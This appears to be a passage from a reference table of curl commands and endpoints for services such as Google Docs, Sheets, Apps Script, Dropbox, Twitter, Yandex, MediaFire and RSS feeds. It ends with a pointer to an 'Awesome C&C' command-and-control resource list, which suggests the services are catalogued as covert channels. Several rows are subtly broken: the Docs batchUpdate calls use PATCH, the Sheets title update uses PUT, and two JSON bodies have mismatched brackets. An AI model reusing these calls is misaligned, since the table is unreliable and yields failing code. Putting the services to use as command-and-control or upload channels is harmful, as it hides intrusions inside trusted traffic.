4 | Join Chat Room | Join a multi-user chat room. | xmpp.joinRoom('room@conference.server.com', 'nickname') | N/A | N/A |
5 | Receive Messages | Listen for incoming messages. | xmpp.onMessage((msg) => { console.log(msg); }) | N/A | N/A |
Blog
ID | Title | Description | Commands and Codes | API Endpoint | HTTP Requests |
1 | Retrieve Posts | Get a list of recent blog posts. | curl -X GET 'https://example.com/wp-json/wp/v2/posts' | https://example.com/wp-json/wp/v2/posts | GET https://example.com/wp-json/wp/v2/posts |
2 | Create Post | Create a new blog post. | curl -X POST 'https://example.com/wp-json/wp/v2/posts' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"title\":\"New Post Title\",\"content\":\"Post content here\",\"status\":\"publish\"}' | https://example.com/wp-json/wp/v2/posts | POST https://example.com/wp-json/wp/v2/posts |
3 | Update Post | Update an existing blog post. | curl -X POST 'https://example.com/wp-json/wp/v2/posts/{post-id}' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"title\":\"Updated Post Title\",\"content\":\"Updated content here\"}' | https://example.com/wp-json/wp/v2/posts/{post-id} | POST https://example.com/wp-json/wp/v2/posts/{post-id} |
4 | Delete Post | Delete a blog post. | curl -X DELETE 'https://example.com/wp-json/wp/v2/posts/{post-id}' -H 'Authorization: Bearer {access-token}' | https://example.com/wp-json/wp/v2/posts/{post-id} | DELETE https://example.com/wp-json/wp/v2/posts/{post-id} |
5 | Retrieve Comments | Get comments from a specific post. | curl -X GET 'https://example.com/wp-json/wp/v2/comments?post={post-id}' | https://example.com/wp-json/wp/v2/comments | GET https://example.com/wp-json/wp/v2/comments?post={post-id} |
Google Docs
ID | Title | Description | Commands and Codes | API Endpoint | HTTP Requests |
1 | Read Document Content | Retrieve the content of a Google Docs document. | curl -X GET 'https://docs.googleapis.com/v1/documents/{documentId}' -H 'Authorization: Bearer {access-token}' | https://docs.googleapis.com/v1/documents/{documentId} | GET https://docs.googleapis.com/v1/documents/{documentId} |
2 | Create Document | Create a new Google Docs document. | curl -X POST 'https://docs.googleapis.com/v1/documents' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"title\": \"New Document\"}' | https://docs.googleapis.com/v1/documents | POST https://docs.googleapis.com/v1/documents |
3 | Insert Text | Insert text into a Google Docs document. | curl -X PATCH 'https://docs.googleapis.com/v1/documents/{documentId}:batchUpdate' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"requests\": [{\"insertText\": {\"location\": {\"index\": 1}, \"text\": \"Your text here\"}}]}' | https://docs.googleapis.com/v1/documents/{documentId}:batchUpdate | PATCH https://docs.googleapis.com/v1/documents/{documentId}:batchUpdate |
4 | Replace Text | Replace text in a Google Docs document. | curl -X PATCH 'https://docs.googleapis.com/v1/documents/{documentId}:batchUpdate' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"requests\": [{\"replaceAllText\": {\"containsText\": {\"text\": \"old text\"}, \"replaceText\": \"new text\"}}]}' | https://docs.googleapis.com/v1/documents/{documentId}:batchUpdate | PATCH https://docs.googleapis.com/v1/documents/{documentId}:batchUpdate |
5 | Delete Text | Delete text from a Google Docs document. | curl -X PATCH 'https://docs.googleapis.com/v1/documents/{documentId}:batchUpdate' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"requests\": [{\"deleteContentRange\": {\"range\": {\"startIndex\": 10, \"endIndex\": 20}}}]}' | https://docs.googleapis.com/v1/documents/{documentId}:batchUpdate | PATCH https://docs.googleapis.com/v1/documents/{documentId}:batchUpdate |
ID | Title | Description | Commands and Codes | API Endpoint | HTTP Requests |
1 | Read Form Responses | Retrieve responses from a Google Form (responses are stored in a Google Sheet). | curl -X GET 'https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range}' -H 'Authorization: Bearer {access-token}' | https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range} | GET https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range} |
2 | Create Google Form | Programmatically create a Google Form using Google Apps Script. | curl -X POST 'https://script.googleapis.com/v1/scripts/{scriptId}:run' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"function\": \"createForm\", \"parameters\": [\"Form Title\"]}' | https://script.googleapis.com/v1/scripts/{scriptId}:run | POST https://script.googleapis.com/v1/scripts/{scriptId}:run |
3 | Add Question to Form | Add a question to an existing Google Form using Google Apps Script. | curl -X POST 'https://script.googleapis.com/v1/scripts/{scriptId}:run' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"function\": \"addQuestion\", \"parameters\": [\"Form ID\", \"Question Title\"]}' | https://script.googleapis.com/v1/scripts/{scriptId}:run | POST https://script.googleapis.com/v1/scripts/{scriptId}:run |
4 | Update Form Question | Update a question in a Google Form using Google Apps Script. | curl -X POST 'https://script.googleapis.com/v1/scripts/{scriptId}:run' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"function\": \"updateQuestion\", \"parameters\": [\"Form ID\", \"Question ID\", \"New Question Title\"]}' | https://script.googleapis.com/v1/scripts/{scriptId}:run | POST https://script.googleapis.com/v1/scripts/{scriptId}:run |
5 | Delete Form Question | Delete a question from a Google Form using Google Apps Script. | curl -X POST 'https://script.googleapis.com/v1/scripts/{scriptId}:run' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"function\": \"deleteQuestion\", \"parameters\": [\"Form ID\", \"Question ID\"]}' | https://script.googleapis.com/v1/scripts/{scriptId}:run | POST https://script.googleapis.com/v1/scripts/{scriptId}:run |
Google appscript
ID | Title | Description | Commands and Codes | API Endpoint | HTTP Requests |
1 | Run Script Function | Execute a function in an Apps Script project. | curl -X POST 'https://script.googleapis.com/v1/scripts/{scriptId}:run' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"function\": \"functionName\", \"parameters\": [\"param1\", \"param2\"], \"devMode\": true}' | https://script.googleapis.com/v1/scripts/{scriptId}:run | POST https://script.googleapis.com/v1/scripts/{scriptId}:run |
2 | Create Script Project | Create a new Apps Script project. | curl -X POST 'https://script.googleapis.com/v1/projects' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"title\": \"New Project\"}' | https://script.googleapis.com/v1/projects | POST https://script.googleapis.com/v1/projects |
3 | Get Script Project Content | Retrieve the content of an Apps Script project. | curl -X GET 'https://script.googleapis.com/v1/projects/{scriptId}/content' -H 'Authorization: Bearer {access-token}' | https://script.googleapis.com/v1/projects/{scriptId}/content | GET https://script.googleapis.com/v1/projects/{scriptId}/content |
4 | Update Script Project | Update the content of an Apps Script project. | curl -X PUT 'https://script.googleapis.com/v1/projects/{scriptId}/content' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"files\": [{\"name\": \"hello\", \"type\": \"SERVER_JS\", \"source\": \"function hello() {\\n return 'Hello, world!';\\n}\"}]}' | https://script.googleapis.com/v1/projects/{scriptId}/content | PUT https://script.googleapis.com/v1/projects/{scriptId}/content |
5 | Deploy Script Project | Create a deployment from an Apps Script project. | curl -X POST 'https://script.googleapis.com/v1/projects/{scriptId}/deployments' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"versionNumber\": \"1\", \"manifestFileName\": \"appsscript\", \"description\": \"My Deployment\"}' | https://script.googleapis.com/v1/projects/{scriptId}/deployments | POST https://script.googleapis.com/v1/projects/{scriptId}/deployments |
Google sheet
ID | Title | Description | Commands and Codes | API Endpoint | HTTP Requests |
1 | Read Spreadsheet Data | Retrieve data from a specific range in a Google Sheet. | curl -X GET 'https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range}' -H 'Authorization: Bearer {access-token}' | https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range} | GET https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range} |
2 | Write Data to Spreadsheet | Write data to a specific range in a Google Sheet. | curl -X PUT 'https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range}?valueInputOption=USER_ENTERED' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"values\": [[\"Value1\", \"Value2\"]}]' | https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range} | PUT https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range} |
3 | Append Data to Spreadsheet | Append data to a specific range in a Google Sheet. | curl -X POST 'https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range}:append?valueInputOption=USER_ENTERED' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"values\": [[\"NewValue1\", \"NewValue2\"]}]' | https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range}:append | POST https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range}:append |
4 | Update Spreadsheet Properties | Update properties of a Google Sheet. | curl -X PUT 'https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"requests\": [{\"updateSpreadsheetProperties\": {\"properties\": {\"title\": \"New Title\"}, \"fields\": \"title\"}}]}' | https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId} | PUT https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId} |
5 | Create New Spreadsheet | Create a new Google Sheet. | curl -X POST 'https://sheets.googleapis.com/v4/spreadsheets' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"properties\": {\"title\": \"New Spreadsheet\"}}' | https://sheets.googleapis.com/v4/spreadsheets | POST https://sheets.googleapis.com/v4/spreadsheets |
Dropbox
ID | Title | Description | Commands and Codes | API Endpoint | HTTP Requests |
1 | Upload File | Upload a file to Dropbox. | curl -X POST https://content.dropboxapi.com/2/files/upload --header "Authorization: Bearer {access-token}" --header "Dropbox-API-Arg: {\"path\": \"/path/to/destination/file\",\"mode\": \"add\",\"autorename\": true,\"mute\": false,\"strict_conflict\": false}" --header "Content-Type: application/octet-stream" --data-binary @/path/to/local/file | https://content.dropboxapi.com/2/files/upload | POST https://content.dropboxapi.com/2/files/upload |
2 | Download File | Download a file from Dropbox. | curl -X POST https://content.dropboxapi.com/2/files/download --header "Authorization: Bearer {access-token}" --header "Dropbox-API-Arg: {\"path\": \"/path/to/remote/file\"}" -o /path/to/local/file | https://content.dropboxapi.com/2/files/download | POST https://content.dropboxapi.com/2/files/download |
3 | List Folder Contents | List files and folders in a specific Dropbox folder. | curl -X POST https://api.dropboxapi.com/2/files/list_folder --header "Authorization: Bearer {access-token}" --header "Content-Type: application/json" --data "{\"path\": \"/path/to/folder\",\"recursive\": false,\"include_media_info\": false,\"include_deleted\": false,\"include_has_explicit_shared_members\": false}" | https://api.dropboxapi.com/2/files/list_folder | POST https://api.dropboxapi.com/2/files/list_folder |
4 | Create Folder | Create a new folder in Dropbox. | curl -X POST https://api.dropboxapi.com/2/files/create_folder_v2 --header "Authorization: Bearer {access-token}" --header "Content-Type: application/json" --data "{\"path\": \"/path/to/new/folder\",\"autorename\": false}" | https://api.dropboxapi.com/2/files/create_folder_v2 | POST https://api.dropboxapi.com/2/files/create_folder_v2 |
5 | Delete File or Folder | Delete a file or folder in Dropbox. | curl -X POST https://api.dropboxapi.com/2/files/delete_v2 --header "Authorization: Bearer {access-token}" --header "Content-Type: application/json" --data "{\"path\": \"/path/to/file/or/folder\"}" | https://api.dropboxapi.com/2/files/delete_v2 | POST https://api.dropboxapi.com/2/files/delete_v2 |
ID | Title | Description | Commands and Codes | API Endpoint | HTTP Requests |
1 | Post a Tweet | Publish a tweet to a user's timeline. | curl -X POST 'https://api.twitter.com/1.1/statuses/update.json' -H 'Authorization: OAuth {oauth-header}' -d 'status=Hello%20World' | https://api.twitter.com/1.1/statuses/update.json | POST https://api.twitter.com/1.1/statuses/update.json |
2 | Read User Timeline | Retrieve recent tweets from a user's timeline. | curl -X GET 'https://api.twitter.com/1.1/statuses/user_timeline.json?screen_name={username}&count=2' -H 'Authorization: OAuth {oauth-header}' | https://api.twitter.com/1.1/statuses/user_timeline.json | GET https://api.twitter.com/1.1/statuses/user_timeline.json |
3 | Stream Tweets | Stream tweets in real-time based on certain criteria. | curl -X GET 'https://api.twitter.com/1.1/statuses/filter.json?track=twitter' -H 'Authorization: OAuth {oauth-header}' | https://api.twitter.com/1.1/statuses/filter.json | GET https://api.twitter.com/1.1/statuses/filter.json |
4 | Search Tweets | Search for tweets matching certain keywords. | curl -X GET 'https://api.twitter.com/1.1/search/tweets.json?q=%23example' -H 'Authorization: OAuth {oauth-header}' | https://api.twitter.com/1.1/search/tweets.json | GET https://api.twitter.com/1.1/search/tweets.json |
5 | Delete a Tweet | Delete a specific tweet from a user's timeline. | curl -X POST 'https://api.twitter.com/1.1/statuses/destroy/{id}.json' -H 'Authorization: OAuth {oauth-header}' | https://api.twitter.com/1.1/statuses/destroy/{id}.json | POST https://api.twitter.com/1.1/statuses/destroy/{id}.json |
Yandex
ID | Title | Description | Commands and Codes | API Endpoint | HTTP Requests |
1 | Translate Text | Use Yandex Translate to translate text. | curl -X POST 'https://translate.yandex.net/api/v1.5/tr.json/translate' -d 'key={api-key}&text={text-to-translate}&lang=en-ru' | https://translate.yandex.net/api/v1.5/tr.json/translate | POST https://translate.yandex.net/api/v1.5/tr.json/translate |
2 | Geocode Location | Convert addresses into geographic coordinates. | curl -X GET 'https://geocode-maps.yandex.ru/1.x/?format=json&apikey={api-key}&geocode={address}' | https://geocode-maps.yandex.ru/1.x/ | GET https://geocode-maps.yandex.ru/1.x/ |
3 | Yandex Disk Upload | Upload a file to Yandex Disk. | curl -X GET 'https://cloud-api.yandex.net/v1/disk/resources/upload?path={file-path}' -H 'Authorization: OAuth {oauth-token}' | https://cloud-api.yandex.net/v1/disk/resources/upload | GET https://cloud-api.yandex.net/v1/disk/resources/upload |
4 | Yandex Disk Download | Download a file from Yandex Disk. | curl -X GET 'https://cloud-api.yandex.net/v1/disk/resources/download?path={file-path}' -H 'Authorization: OAuth {oauth-token}' | https://cloud-api.yandex.net/v1/disk/resources/download | GET https://cloud-api.yandex.net/v1/disk/resources/download |
5 | Yandex Speech Recognition | Convert speech to text using Yandex SpeechKit. | curl -X POST 'https://stt.api.cloud.yandex.net/speech/v1/stt:recognize' -H 'Authorization: Bearer {iam-token}' --data-binary @{audio-file-path} | https://stt.api.cloud.yandex.net/speech/v1/stt:recognize | POST https://stt.api.cloud.yandex.net/speech/v1/stt:recognize |
ID | Title | Description | Commands and Codes | API Endpoint | HTTP Requests |
1 | User Authentication | Authenticate a user and obtain a session token. | curl -X POST 'https://www.mediafire.com/api/user/get_session_token.php' -d 'email={user-email}&password={user-password}&application_id={app-id}&signature={app-signature}' | https://www.mediafire.com/api/user/get_session_token.php | POST https://www.mediafire.com/api/user/get_session_token.php |
2 | Upload File | Upload a file to MediaFire. | curl -X POST 'https://www.mediafire.com/api/upload/upload.php' -H 'x-mf-session-token: {session-token}' -F 'file=@/path/to/file' | https://www.mediafire.com/api/upload/upload.php | POST https://www.mediafire.com/api/upload/upload.php |
3 | List Files | List files in a user's account. | curl -X GET 'https://www.mediafire.com/api/folder/get_content.php?folder_key={folder-key}&session_token={session-token}' | https://www.mediafire.com/api/folder/get_content.php | GET https://www.mediafire.com/api/folder/get_content.php |
4 | Download File | Generate a link to download a file. | curl -X GET 'https://www.mediafire.com/api/file/get_links.php?quick_key={file-quick-key}&session_token={session-token}' | https://www.mediafire.com/api/file/get_links.php | GET https://www.mediafire.com/api/file/get_links.php |
5 | Delete File | Delete a file from MediaFire. | curl -X POST 'https://www.mediafire.com/api/file/delete.php' -d 'quick_key={file-quick-key}&session_token={session-token}' | https://www.mediafire.com/api/file/delete.php | POST https://www.mediafire.com/api/file/delete.php |
ID | Title | Description | Commands and Codes | API Endpoint (RSS Feed URL) | HTTP Requests |
1 | Retrieve RSS Feed | Fetch the contents of an RSS feed. | curl -X GET 'http://example.com/feed.xml' | http://example.com/feed.xml | GET http://example.com/feed.xml |
2 | Parse RSS Feed | Parse the retrieved RSS feed content (using Python with feedparser ). | python -c "import feedparser; feed = feedparser.parse('http://example.com/feed.xml'); print(feed.entries)" | http://example.com/feed.xml | N/A |
3 | Filter RSS Feed | Filter the RSS feed for specific items (using Python with feedparser ). | python -c "import feedparser; feed = feedparser.parse('http://example.com/feed.xml'); [print(entry.title) for entry in feed.entries if 'keyword' in entry.title]" | http://example.com/feed.xml | N/A |
4 | Automate RSS Fetching | Set up a cron job to regularly fetch an RSS feed. | 0 * * * * curl -X GET 'http://example.com/feed.xml' -o /path/to/save/feed.xml | http://example.com/feed.xml | GET http://example.com/feed.xml |
5 | Convert RSS to JSON | Convert RSS feed to JSON format for easier processing (using Python with feedparser ). | python -c "import feedparser, json; feed = feedparser.parse('http://example.com/feed.xml'); print(json.dumps(feed, indent=4))" | http://example.com/feed.xml | N/A |
Awesome C&C
github.com/tcostam/awesome-command-control
Framework